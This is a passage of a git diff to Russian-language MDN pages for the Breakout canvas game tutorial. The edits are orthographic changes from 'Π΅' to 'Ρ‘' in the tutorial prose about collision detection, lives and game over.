<p>Π­Ρ‚ΠΎ 7 шаг ΠΈΠ· 10 Π²Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄, ΠΊΠ°ΠΊ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ этого ΡƒΡ€ΠΎΠΊΠ°,Β Ρ‚ΡƒΡ‚ <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html">Gamedev-Canvas-workshop/lesson7.html</a>.</p>
-<p>Π£ нас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π° экранС, Π½ΠΎ ΠΈΠ³Ρ€Π° всС Π΅Ρ‰Π΅ Π½Π΅ Ρ‚Π°ΠΊ интСрСсна, вСдь мяч ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ сквозь Π½ΠΈΡ…. Нам Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ обнаруТСния столкновСний, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΌΠΎΠ³ ΠΎΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ ΠΈ Π»ΠΎΠΌΠ°Ρ‚ΡŒ ΠΈΡ….</p>
+<p>Π£ нас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π° экранС, Π½ΠΎ ΠΈΠ³Ρ€Π° всС Π΅Ρ‰Ρ‘ Π½Π΅ Ρ‚Π°ΠΊ интСрСсна, вСдь мяч ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ сквозь Π½ΠΈΡ…. Нам Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ обнаруТСния столкновСний, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΌΠΎΠ³ ΠΎΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ ΠΈ Π»ΠΎΠΌΠ°Ρ‚ΡŒ ΠΈΡ….</p>
</div>
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это нашС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ это, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ слоТно Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, касаСтся Π»ΠΈ ΡˆΠ°Ρ€ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π² Canvas Π½Π΅Ρ‚ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для этого. Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ сдСлаСм это самым простым способом.Β ΠœΡ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, сталкиваСтся Π»ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ мяча с Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ.Β Π­Ρ‚ΠΎ Π½Π΅ идСальноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° всС случаи ΠΆΠΈΠ·Π½ΠΈ, ΠΈ Π΅ΡΡ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТныС ΠΈ эффСктивныС способы обнаруТСния столкновСний, Π½ΠΎ это Π½Π°ΡƒΡ‡ΠΈΡ‚ вас основным понятиям.</p>
@@ -53,11 +53,11 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅
}
}</pre>
-<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ ΠΏΠΎΠ΄Β <code>keyUpHandler() </code>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ .</p>
+<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ ΠΏΠΎΠ΄Β <code>keyUpHandler() </code>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ .</p>
<h2 id="Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ_послС_ΠΈΡ…_попадания">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ послС ΠΈΡ… попадания</h2>
-<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈ Π·Π°Π΄ΡƒΠΌΠ°Π½ΠΎ, ΠΈ мяч ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ своС Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅.Β ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ Π½Π° своих мСстах.Β ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΠ·Π±Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΎΡ‚ Ρ‚Π΅Ρ…, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠΆΠ΅ попали мячом.Β ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΊΠΈΡ€ΠΏΠΈΡ‡ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π½Π° экранС ΠΈΠ»ΠΈ Π½Π΅Ρ‚.Β Π’ Ρ‚ΠΎΠΉ части ΠΊΠΎΠ΄Π°, Π³Π΄Π΅ ΠΌΡ‹ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ, Π΄ΠΎΠ±Π°Π²ΠΈΠΌ свойство <code>status</code>Β ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.Β ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈ Π·Π°Π΄ΡƒΠΌΠ°Π½ΠΎ, ΠΈ мяч ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ своё Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅.Β ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ Π½Π° своих мСстах.Β ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΠ·Π±Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΎΡ‚ Ρ‚Π΅Ρ…, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠΆΠ΅ попали мячом.Β ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΊΠΈΡ€ΠΏΠΈΡ‡ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π½Π° экранС ΠΈΠ»ΠΈ Π½Π΅Ρ‚.Β Π’ Ρ‚ΠΎΠΉ части ΠΊΠΎΠ΄Π°, Π³Π΄Π΅ ΠΌΡ‹ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ, Π΄ΠΎΠ±Π°Π²ΠΈΠΌ свойство <code>status</code>Β ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.Β ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: js; highlight:[5]">var bricks = [];
for(var c=0; c&lt;brickColumnCount; c++) {
@@ -124,6 +124,6 @@ for(var c=0; c&lt;brickColumnCount; c++) {
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_шаги">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги</h2>
-<p>ΠœΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎ двиТСмся Π²ΠΏΠ΅Ρ€Ρ‘Π΄! ΠŸΠΎΠ΅Ρ…Π°Π»ΠΈ! Π’ восьмой Π³Π»Π°Π²Π΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡΒ <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=ru&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win&amp;xid=25657,15700022,15700124,15700149,15700168,15700186,15700190,15700201,15700205&amp;usg=ALkJrhhN9U9TuRM07dQaU3Oyqz2-F5ctig">ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ счСт ΠΈ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚ΡŒ</a>Β .</p>
+<p>ΠœΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎ двиТСмся Π²ΠΏΠ΅Ρ€Ρ‘Π΄! ΠŸΠΎΠ΅Ρ…Π°Π»ΠΈ! Π’ восьмой Π³Π»Π°Π²Π΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡΒ <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=ru&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win&amp;xid=25657,15700022,15700124,15700149,15700168,15700186,15700190,15700201,15700205&amp;usg=ALkJrhhN9U9TuRM07dQaU3Oyqz2-F5ctig">ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ счёт ΠΈ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚ΡŒ</a>Β .</p>
<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html
index 6a62e46e4e..5c09478700 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html
@@ -27,7 +27,7 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½
<pre class="brush: js">var lives = 3;</pre>
-<p>ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° счСтчика ΠΆΠΈΠ·Π½ΠΈ выглядит ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ счСтчика Π±Π°Π»Π»ΠΎΠ² - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠΎΠ΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>drawScore()</code> :</p>
+<p>ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° счётчика ΠΆΠΈΠ·Π½ΠΈ выглядит ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ счётчика Π±Π°Π»Π»ΠΎΠ² - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠΎΠ΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>drawScore()</code> :</p>
<pre class="brush: js">function drawLives() {
ctx.font = "16px Arial";
@@ -56,7 +56,7 @@ else {
paddleX = (canvas.width-paddleWidth)/2;
}</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° мяч ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π² Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΡ€Π°ΠΉ экрана, ΠΌΡ‹ Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅ΠΌ ΠΎΠ΄Π½Ρƒ Тизнь ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>lives</code>. Если ΠΆΠΈΠ·Π½Π΅ΠΉ Π½Π΅ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ, ΠΈΠ³Ρ€Π° ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Π½Π°, Ссли ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ Π΅Ρ‰Π΅ нСсколько ΠΆΠΈΠ·Π½Π΅ΠΉ, Ρ‚ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ мяча ΠΈ Π±ΠΈΡ‚Ρ‹Β ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ вмСстС с Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ мяча.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° мяч ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π² Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΡ€Π°ΠΉ экрана, ΠΌΡ‹ Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅ΠΌ ΠΎΠ΄Π½Ρƒ Тизнь ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>lives</code>. Если ΠΆΠΈΠ·Π½Π΅ΠΉ Π½Π΅ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ, ΠΈΠ³Ρ€Π° ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Π½Π°, Ссли ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ Π΅Ρ‰Ρ‘ нСсколько ΠΆΠΈΠ·Π½Π΅ΠΉ, Ρ‚ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ мяча ΠΈ Π±ΠΈΡ‚Ρ‹Β ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ вмСстС с Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ мяча.</p>
<h3 id="Визуализация_дисплСя_ΠΆΠΈΠ·Π½Π΅ΠΉ">Визуализация дисплСя ΠΆΠΈΠ·Π½Π΅ΠΉ</h3>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html
index 37ed140976..8fa11624a5 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html
@@ -12,7 +12,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over
<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
-<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ_Π·ΠΎΠ½Ρƒ_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ")}}</p>
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ_Π·ΠΎΠ½Ρƒ_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ")}}</p>
<div class="summary">
<p>Π­Ρ‚ΠΎ - 5-ΠΉ шаг ΠΈΠ· 10 ΠΈΠ· <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄ ΠΊ этому ΡƒΡ€ΠΎΠΊΡƒ Π² <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson05.html">Gamedev-Canvas-workshop/lesson5.html</a>.</p>
@@ -32,7 +32,7 @@ if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
dy = -dy;
}</pre>
-<p>ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΡˆΠ°Ρ€Ρƒ ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡΒ ΠΎΡ‚ всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… стСн, Π΄Π°Π²Π°ΠΉΡ‚Π΅Β ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠΌ ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ трСх стСн β€” Π»Π΅Π²ΡƒΡŽ, Π²Π΅Ρ€Ρ…Π½ΡŽΡŽΒ ΠΈ ΠΏΡ€Π°Π²ΡƒΡŽ. Π£Π΄Π°Ρ€ ΠΎΠ± ниТнюю стСнку Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ ΠΈΠ³Ρ€Ρƒ. ΠœΡ‹ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠΉΒ Π±Π»ΠΎΠΊ if, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ if elseΒ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ "ΠšΠΎΠ½Π΅Ρ† Π˜Π³Ρ€Ρ‹" , ΠΊΠΎΠ³Π΄Π° ΡˆΠ°Ρ€ столкнСтся  с Π½ΠΈΠΆΠ½Π΅ΠΉ стСнкой холста. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, взглянитС Π½Π° выводящССся сообщСниС ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈΠ³Ρ€Ρƒ ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
+<p>ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΡˆΠ°Ρ€Ρƒ ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡΒ ΠΎΡ‚ всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… стСн, Π΄Π°Π²Π°ΠΉΡ‚Π΅Β ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠΌ ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ трёх стСн β€” Π»Π΅Π²ΡƒΡŽ, Π²Π΅Ρ€Ρ…Π½ΡŽΡŽΒ ΠΈ ΠΏΡ€Π°Π²ΡƒΡŽ. Π£Π΄Π°Ρ€ ΠΎΠ± ниТнюю стСнку Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ ΠΈΠ³Ρ€Ρƒ. ΠœΡ‹ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠΉΒ Π±Π»ΠΎΠΊ if, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ if elseΒ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ "ΠšΠΎΠ½Π΅Ρ† Π˜Π³Ρ€Ρ‹" , ΠΊΠΎΠ³Π΄Π° ΡˆΠ°Ρ€ столкнётся  с Π½ΠΈΠΆΠ½Π΅ΠΉ стСнкой холста. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, взглянитС Π½Π° выводящССся сообщСниС ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈΠ³Ρ€Ρƒ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΊΠΎΠ΄, Π³Π΄Π΅ Π²Ρ‹ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π»ΠΈ <code>setInterval()</code></p>
@@ -62,7 +62,7 @@ if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
<h2 id="ΠžΡ‚Π±ΠΈΡ‚ΡŒ_ΡˆΠ°Ρ€">ΠžΡ‚Π±ΠΈΡ‚ΡŒ ΡˆΠ°Ρ€</h2>
-<p>ПослСдняя Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π° этом ΡƒΡ€ΠΎΠΊΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ столкновСний ΠΌΠ΅ΠΆΠ΄Ρƒ ΡˆΠ°Ρ€ΠΎΠΌ ΠΈ Π±ΠΈΡ‚ΠΎΠΉ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΡˆΠ°Ρ€ оттолкнСтся ΠΎΡ‚ Π±ΠΈΡ‚Ρ‹Β ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΈΠ³Ρ€Ρ‹. Бамая простая Π²Π΅Ρ‰ΡŒ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ 